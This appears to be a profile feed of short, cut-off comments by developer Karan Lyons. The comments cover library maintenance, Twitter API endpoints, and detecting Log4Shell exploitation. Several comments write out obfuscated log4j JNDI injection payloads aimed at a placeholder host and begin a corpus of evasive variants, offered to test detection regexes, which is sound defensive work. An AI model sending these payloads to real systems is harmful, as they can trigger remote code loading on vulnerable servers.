Karan Lyons
Karan Lyons
What I could do is begin the dispute resolution process. @pid and I had discussed doing a changeover in the past but one or both of us got swamped with...
This PR would be great to merge in, especially the multi SPI support (the commit you called out, @maniacbug). Currently your RF24 library assumes it’s the only thing using SPI,...
We should probably add the rest of the methods as well? The full list is: * [GET collections/entries](https://developer.twitter.com/en/docs/tweets/curate-a-collection/api-reference/get-collections-entries) * [GET collections/list](https://developer.twitter.com/en/docs/tweets/curate-a-collection/api-reference/get-collections-list) * [GET collections/show](https://developer.twitter.com/en/docs/tweets/curate-a-collection/api-reference/get-collections-show) * [POST collections/create](https://developer.twitter.com/en/docs/tweets/curate-a-collection/api-reference/post-collections-create) * [POST collections/destroy](https://developer.twitter.com/en/docs/tweets/curate-a-collection/api-reference/post-collections-destroy)...
So the assumption that timeseries won’t ever contain t=0 is a bit pervasive, to the point where I even relied on it in my last pull. I _think_ I’ve got...
FYI, `base64` [isn't actually in a release yet](https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-2446), just in [master](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Base64StrLookup.java), so these payloads shouldn’t work unless the target has chosen to add the lookup themselves.
Agreed that this is doable with a regex, but that’s _also_ going to miss payloads (e.g. `${${base64:JHtqbmRpOmxkYXA6YWRkcn0=}}`¹, `${jnd${upper:ı}:rm${upper:ı}://addr}`). You probably just want something like https://gist.github.com/karanlyons/8635587fd4fa5ddb4071cc44bb497ab6 ¹ _EDIT:_ Turns out the...
You might want to try against this synthetic corpus, which is also trying to model what sort of attacks might be coming (or that are already being missed): ``` \044%7B\\44{env:NOTHING:-j}\u0024{lower:N}\\u0024{lower:${upper:d}}}i:addr}...
https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup: > The `JndiLookup` allows variables to be retrieved via JNDI. By default the key will be prefixed with `java:comp/env/`, however if the key contains a `":"` no prefix will...
I’d still recommend that people use [the collection of regexes I’ve put together](https://gist.github.com/karanlyons/8635587fd4fa5ddb4071cc44bb497ab6) as they’re free of assumptions. For example: ```python >>> from log4shell_regexes import * >>> t = lambda...
Thank you! It’s the same as it is here: [karanlyons](https://www.npmjs.com/~karanlyons). Let me know if you need anything more from me to transfer it over.